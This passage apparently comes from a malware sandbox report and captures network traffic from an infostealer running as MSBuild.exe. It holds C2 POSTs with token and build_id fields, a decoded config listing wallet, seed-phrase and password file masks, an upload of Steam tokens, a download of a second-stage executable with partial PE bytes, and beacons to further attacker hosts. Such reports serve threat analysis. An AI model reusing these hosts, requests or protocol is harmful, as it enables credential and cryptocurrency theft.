6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 34 0d 0a 2d 2d 2d 2d 2d 2d 43 42 46 43 46 42 46 42 46 42 4b 46 49 44 48 4a 4b 46 43 41 2d 2d 0d 0a Data Ascii: ------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CBFCFBFBFBKFIDHJKFCAContent-Disposition: form-data; name="mode"4------CBFCFBFBFBKFIDHJKFCA--
Oct 7, 2024 18:00:57.245770931 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 35 65 38 0d 0a 52 6d 78 68 63 32 68 38 4a 55 52 53 53 56 5a 46 58 31 4a 46 54 55 39 57 51 55 4a 4d 52 53 56 63 66 43 70 33 59 57 78 73 5a 58 51 71 4c 69 6f 73 4b 6e 4e 6c 5a 57 51 71 4c 69 6f 73 4b 6d 4a 30 59 79 6f 75 4b 69 77 71 61 32 56 35 4b 69 34 71 4c 43 6f 79 5a 6d 45 71 4c 69 6f 73 4b 6d 4e 79 65 58 42 30 62 79 6f 75 4b 69 77 71 59 32 39 70 62 69 6f 75 4b 69 77 71 63 48 4a 70 64 6d 46 30 5a 53 6f 75 4b 69 77 71 4d 6d 5a 68 4b 69 34 71 4c 43 70 68 64 58 52 6f 4b 69 34 71 4c 43 70 73 5a 57 52 6e 5a 58 49 71 4c 69 6f 73 4b 6e 52 79 5a 58 70 76 63 69 6f 75 4b 69 77 71 63 47 46 7a 63 79 6f 75 4b 69 77 71 64 32 46 73 4b 69 34 71 4c 43 70 31 63 47 4a 70 64 43 6f 75 4b 69 77 71 59 6d 4e 6c 65 43 6f 75 4b 69 77 71 59 6d 6c 30 61 47 6c 74 59 69 6f 75 4b 69 77 71 61 47 6c 30 59 6e 52 6a 4b 69 34 71 4c 43 70 69 61 58 52 6d 62 48 6c 6c 63 69 6f 75 4b 69 77 71 61 33 56 6a 62 32 6c 75 4b 69 34 71 4c 43 70 6f 64 57 39 69 61 53 6f 75 4b 69 77 71 63 47 39 73 62 32 35 70 5a 58 67 71 4c 69 6f 73 4b 6d 74 79 59 [TRUNCATED] Data Ascii: 5e8Rmxhc2h8JURSSVZFX1JFTU9WQUJMRSVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl0YnRjKi4qLCpiaXRmbHllciouKiwqa3Vjb2luKi4qLCpodW9iaSouKiwqcG9sb25pZXgqLiosKmtyYWtlbiouKiwqb2tleCouKiwqYmluYW5jZSouKiwqYml0ZmluZXgqLiosKmdkYXgqLiosKmV0aGVyZXVtKi4qLCpleG9kdXMqLiosKm1ldGFtYXNrKi4qLCpteWV0aGVyd2FsbGV0Ki4qLCplbGVjdHJ1bSouKiwqYml0Y29pbiouKiwqYmxvY2tjaGFpbiouKiwqY29pbm9taSouKiwqd29yZHMqLiosKm1ldGEqLiosKm1hc2sqLiosKmV0aCouKiwqcmVjb3ZlcnkqLip8MTUwfDN8KndpbmRvd3MqLCpQcm9ncmFtIEZpbGVzKiwqUHJvZ3JhbSBGaWxlcyAoeDg2KSosKkFwcERhdGEqLCpQcm9ncmFtRGF0YSosKi5sbmssKi5leGUsKi5zY3IsKi5jb20sKi5waWYsKi5tcDN8REVTS1RPUHwlREVTS1RPUCVcfCp3YWxsZXQqLiosKnNlZWQqLiosKmJ0YyouKiwqa2V5Ki4qLCoyZmEqLiosKmNyeXB0byouKiwqY29pbiouKiwqcHJpdmF0ZSouKiwqMmZhKi4qLCphdXRoKi4qLCpsZWRnZXIqLiosKnRyZXpvciouKiwqcGFzcyouKiwqd2FsKi4qLCp1cGJpdCouKiwqYmNleCouKiwqYml0aGltYiouKiwqaGl [TRUNCATED]
Oct 7, 2024 18:00:57.265255928 CEST	651	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AECFCAAECBGDGDHIEHJE Host: lade.petperfectcare.com Content-Length: 461 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 43 46 43 41 41 45 43 42 47 44 47 44 48 49 45 48 4a 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 55 32 39 6d 64 46 78 54 64 47 56 68 62 56 78 7a 64 47 56 68 62 56 39 30 62 32 74 6c 62 6e 4d 75 64 48 68 [TRUNCATED] Data Ascii: ------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file_name"U29mdFxTdGVhbVxzdGVhbV90b2tlbnMudHh0------AECFCAAECBGDGDHIEHJEContent-Disposition: form-data; name="file_data"cG8veg==------AECFCAAECBGDGDHIEHJE--
Oct 7, 2024 18:00:57.870687008 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:57.915283918 CEST	193	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HJJKFBGCFHCGDHIDAAEC Host: lade.petperfectcare.com Content-Length: 132305 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:00:59.299911976 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:00:59.303370953 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----CFIIIJJKJKFHIDGDBAKJ Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 0d 0a 2d 2d 2d 2d 2d 2d 43 46 49 49 49 4a 4a 4b 4a 4b 46 48 49 44 47 44 42 41 4b 4a 2d 2d 0d 0a Data Ascii: ------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------CFIIIJJKJKFHIDGDBAKJContent-Disposition: form-data; name="mode"5------CFIIIJJKJKFHIDGDBAKJ--
Oct 7, 2024 18:00:59.947475910 CEST	274	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:59 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 34 0d 0a 4d 54 49 34 4e 44 41 33 4f 48 78 6f 64 48 52 77 4f 69 38 76 62 6e 4e 6b 62 53 35 6a 64 57 31 77 59 58 49 74 59 58 56 30 62 79 31 76 63 6d 6c 6a 5a 53 31 30 61 58 41 75 63 6d 38 76 62 47 52 74 63 79 39 68 4e 44 4d 30 4f 44 59 78 4d 6a 67 7a 4e 44 63 75 5a 58 68 6c 66 44 46 38 61 32 74 72 61 33 77 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: 64MTI4NDA3OHxodHRwOi8vbnNkbS5jdW1wYXItYXV0by1vcmljZS10aXAucm8vbGRtcy9hNDM0ODYxMjgzNDcuZXhlfDF8a2tra3w=0
Oct 7, 2024 18:01:01.506513119 CEST	689	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----AEHIJDAFBKFHIDGCFBFC Host: lade.petperfectcare.com Content-Length: 499 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 35 31 0d 0a 2d 2d 2d 2d 2d 2d 41 45 48 49 4a 44 41 46 42 4b 46 48 49 44 47 43 46 42 46 43 0d 0a 43 6f 6e 74 65 6e 74 2d [TRUNCATED] Data Ascii: ------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="mode"51------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="task_id"1284078------AEHIJDAFBKFHIDGCFBFCContent-Disposition: form-data; name="status"1------AEHIJDAFBKFHIDGCFBFC--
Oct 7, 2024 18:01:03.320430040 CEST	175	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0
Oct 7, 2024 18:01:03.322643042 CEST	521	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----HCGCAAKJDHJJJJJKKKFB Host: lade.petperfectcare.com Content-Length: 331 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 64 62 31 64 65 64 32 30 64 63 62 32 39 39 35 36 64 62 62 62 30 37 31 62 30 33 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 61 66 36 34 31 61 63 63 65 33 66 38 63 38 35 62 66 32 34 39 30 61 39 62 33 61 61 39 37 32 63 35 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 6f 64 65 22 0d 0a 0d 0a 36 0d 0a 2d 2d 2d 2d 2d 2d 48 43 47 43 41 41 4b 4a 44 48 4a 4a 4a 4a 4a 4b 4b 4b 46 42 2d 2d 0d 0a Data Ascii: ------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------HCGCAAKJDHJJJJJKKKFBContent-Disposition: form-data; name="mode"6------HCGCAAKJDHJJJJJKKKFB--
Oct 7, 2024 18:01:03.963229895 CEST	168	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:01:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49961	147.45.44.104	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:00:59.965085983 CEST	101	OUT	GET /ldms/a43486128347.exe HTTP/1.1 Host: nsdm.cumpar-auto-orice-tip.ro Cache-Control: no-cache
Oct 7, 2024 18:01:00.569178104 CEST	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Mon, 07 Oct 2024 16:00:32 GMT Content-Type: application/octet-stream Content-Length: 551424 Last-Modified: Mon, 07 Oct 2024 15:48:16 GMT Connection: keep-alive Keep-Alive: timeout=120 ETag: "670402c0-86a00" X-Content-Type-Options: nosniff Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 3d 89 39 06 79 e8 57 55 79 e8 57 55 79 e8 57 55 aa 9a 54 54 75 e8 57 55 aa 9a 52 54 d2 e8 57 55 aa 9a 53 54 6c e8 57 55 aa 9a 56 54 7a e8 57 55 79 e8 56 55 21 e8 57 55 69 6c 54 54 6d e8 57 55 69 6c 53 54 6b e8 57 55 69 6c 52 54 34 e8 57 55 31 6d 5e 54 78 e8 57 55 31 6d a8 55 78 e8 57 55 31 6d 55 54 78 e8 57 55 52 69 63 68 79 e8 57 55 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 dc 02 04 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 29 00 12 02 00 00 62 06 00 00 00 00 00 52 6f 00 00 00 10 00 00 00 30 02 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$=9yWUyWUyWUTTuWURTWUSTlWUVTzWUyVU!WUilTTmWUilSTkWUilRT4WU1m^TxWU1mUxWU1mUTxWURichyWUPELg)bRo0@ @(@0,.text `.rdatax0@@.data@.rsrcJ@@.relocN@B
Oct 7, 2024 18:01:00.569750071 CEST	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: dH<h BaYh BxaYh BlaYeHEeH<h BLaYjjheHeHDh B-aYVWj!YeHQDeHP3B
Oct 7, 2024 18:01:00.569761992 CEST	1236	IN	Data Raw: 01 59 74 0a 6a 14 56 e8 61 58 00 00 59 59 8b c6 5e c2 04 00 55 8b ec 83 e4 f8 83 ec 1c a1 40 d0 42 00 33 c4 89 44 24 18 8b 45 10 56 8b f1 8d 4c 24 04 50 e8 28 14 00 00 8d 44 24 04 8b ce 50 ff 75 0c ff 75 08 e8 3a ff ff ff 8d 4c 24 04 e8 d2 1c 00 Data Ascii: YtjVaXYY^U@B3D$EVL$P(D$Puu:L$L$\2B^3W]Vt$\2B^Vt$WVP2BFVGW_^BU}uMjhBuRYMPE]D$VtjV
Oct 7, 2024 18:01:00.574064970 CEST	1236	IN	Data Raw: 00 83 c4 10 c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 75 09 83 c6 02 3b 74 24 14 75 e4 5f 8b c6 5e c2 0c 00 56 8b 74 24 0c 57 8b f9 eb 16 0f b7 06 8b cf 8b 17 50 ff 74 24 10 ff 52 10 84 c0 74 09 83 Data Ascii: Vt$WPt$Ru;t$u_^Vt$WPt$Rt;t$u_^APt$NYYVt$;t$tWyWPfNfYY;t$u_^APt$OYYVt$;t$tWyWPOfYY;t$u_^UAWPEf
Oct 7, 2024 18:01:00.574075937 CEST	1236	IN	Data Raw: e0 03 25 e8 00 00 00 66 42 66 bb e3 03 66 35 c0 02 66 81 e9 c8 03 81 c3 fb 02 00 00 66 f7 e2 66 81 f3 24 02 66 f7 ea 66 33 c7 c1 c1 f4 72 0c 42 66 2b f1 66 f7 e8 c1 eb aa eb 14 0f b6 f6 66 f7 e0 f7 e6 49 66 c1 cb 25 23 cb 4e 40 66 f7 e3 f7 e0 66 Data Ascii: %fBff5fff$ff3rBf+ffIf%#N@ffueofff"fff#f+#BP[uEYjVP]iM[i][u3i[3Em]MUE3tt
Oct 7, 2024 18:01:00.575324059 CEST	1236	IN	Data Raw: 66 42 66 f7 e7 0f b6 d7 eb 0b 66 4f 66 f7 e6 66 33 ca c1 d8 78 66 8b ff 81 f6 b1 01 00 00 73 21 83 f9 41 74 4d 66 c1 c2 7a 81 eb 7f 03 00 00 0f b6 fb 66 23 ce c1 ca 22 c1 df dd f7 ef 66 43 eb 15 66 46 66 81 c1 ad 02 4a 66 4e bb 3b 03 00 00 66 bb Data Ascii: fBffOff3xfs!AtMfzf#"fCfFfJfN;ffffFfBrfHffG\|fbffF83$fQwfIffff%fPffCff+ffEfBfewfNfFfI
Oct 7, 2024 18:01:00.575335026 CEST	1236	IN	Data Raw: 8b 48 04 89 4d e4 8b 01 ff 50 04 8d 45 e0 50 e8 da 15 00 00 59 89 45 ec 8d 4d e0 e8 1a ef ff ff 21 7d fc 8b 0d 98 65 48 00 8b 41 04 8b b0 d0 65 48 00 c6 45 e0 00 89 75 e4 8b 41 04 8d 88 98 65 48 00 0f b7 41 40 8b 55 ec 8b 12 ff 75 0c ff 75 08 50 Data Ascii: HMPEPYEM!}eHAeHEuAeHA@UuuPQVuEPMRjZ}E}M=eHHeHAjZj39q8ERe(@MeH}jZeHHj39A8EQRMZIVWt$
Oct 7, 2024 18:01:00.578978062 CEST	1236	IN	Data Raw: 0f 10 45 1c 66 8b c8 8b 74 24 38 66 85 c9 51 8b 52 14 0f 9e 44 24 18 8b c2 f2 0f 11 04 24 83 e0 ef 66 85 c9 53 8b 5c 24 28 0f 4f d0 83 7c 24 44 0f 8d 44 24 48 52 0f 47 7c 24 34 6a 00 50 53 e8 75 09 00 00 83 c4 10 50 56 57 e8 4e e4 ff ff 83 c4 18 Data Ascii: Eft$8fQRD$$fS\$(O\|$DD$HRG\|$4jPSuPVWNt$ \|$8T$$GT$$t$PRut$uuVD$8v6L$$@D$L$=rD$PD$PDD$YYL$PQ?YYL$D_^[3=?]UT@B3D$PS]D$Vu
Oct 7, 2024 18:01:00.578993082 CEST	1236	IN	Data Raw: 5d c2 04 00 56 8b f1 83 7e 14 07 76 0e ff 76 14 ff 36 56 e8 a7 06 00 00 83 c4 0c 83 66 10 00 33 c0 c7 46 14 07 00 00 00 66 89 06 5e c3 56 8b f1 8b 46 14 83 f8 0f 76 0b 40 50 ff 36 e8 03 13 00 00 59 59 83 66 10 00 c7 46 14 0f 00 00 00 c6 06 00 5e Data Ascii: ]V~vv6Vf3Ff^VFv@P6YYfF^US]WGO+;w*GvVSu4Vz^SuEuSq_[]Vt$jVQkJfF^D$V2BtjV:YY^q
Oct 7, 2024 18:01:00.580812931 CEST	1236	IN	Data Raw: f6 d0 24 20 0c 58 88 02 8b c6 5f c6 42 01 00 5e c3 8b 54 24 10 56 8b 74 24 0c 57 c6 06 25 8d 46 01 f6 c2 20 74 04 c6 00 2b 40 f6 c2 10 74 04 c6 00 23 40 8a 4c 24 14 66 c7 00 2e 2a 83 c0 02 84 c9 74 03 88 08 40 8b ca bf 00 30 00 00 23 cf f6 c2 04 Data Ascii: $ X_B^T$Vt$W%F t+@t#@L$f.*t@0#t" t";uA6ME$ uf;uaMe@_^@L8t`jB4;}@t88WM}txee
Oct 7, 2024 18:01:00.580843925 CEST	1236	IN	Data Raw: 8b 06 8b 48 04 03 ce e8 f1 0c 00 00 0f b7 c8 51 8b ce e8 21 0c 00 00 8b ce e8 c8 fb ff ff 8b c6 5e 8b e5 5d c3 6a 4c b8 00 1e 42 00 e8 f5 36 00 00 89 55 dc c7 45 d8 98 65 48 00 33 ff 8b c7 89 45 ec 89 45 e4 52 e8 52 99 00 00 59 8b c8 89 4d e0 8b Data Ascii: HQ!^]jLB6UEeH3EERRYMUeH@eHeH;\|;v;\|;v+WfEu]uuM]}uj^}eH@eHHMPEPNYEMeH@eH%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.5	49990	45.132.206.251	80	6112	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
Oct 7, 2024 18:01:04.912484884 CEST	183	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----JEHIIDGCFHIEGDGCBFHD Host: cowod.hopto.org Content-Length: 3217 Connection: Keep-Alive Cache-Control: no-cache
Oct 7, 2024 18:01:04.912522078 CEST	3217	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4a 45 48 49 49 44 47 43 46 48 49 45 47 44 47 43 42 46 48 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 34 30 64 32 63 36 Data Ascii: ------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="token"40d2c6db1ded20dcb29956dbbb071b03------JEHIIDGCFHIEGDGCBFHDContent-Disposition: form-data; name="build_id"af641acce3f8c85bf2490a9b3aa972c5------JEHIIDGCFHIEGD
Oct 7, 2024 18:01:05.642980099 CEST	188	IN	HTTP/1.1 200 OK Server: openresty Date: Mon, 07 Oct 2024 16:01:05 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 0 Connection: keep-alive X-Served-By: cowod.hopto.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49972	188.114.97.3	443	4036	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-07 16:01:02 UTC	261	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: exemplarou.sbs
2024-10-07 16:01:02 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-10-07 16:01:02 UTC	551	IN	HTTP/1.1 200 OK Date: Mon, 07 Oct 2024 16:01:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Frame-Options: SAMEORIGIN Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Z2jeasbYy0CLU9b59UKnUcu%2FPYQc%2FfVU0xAEBlGvj2p4h9rls%2FIuy9ZjuldxEnjf0WKE%2Ffd1x0EElHFOH3exl86NlNFy6JXJSBXjCJtWq1gubg84bYvAbUqKj4W4oW40iw%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8cef1b855a9ac3f0-EWR
2024-10-07 16:01:02 UTC	818	IN	Data Raw: 31 31 32 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 112d<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
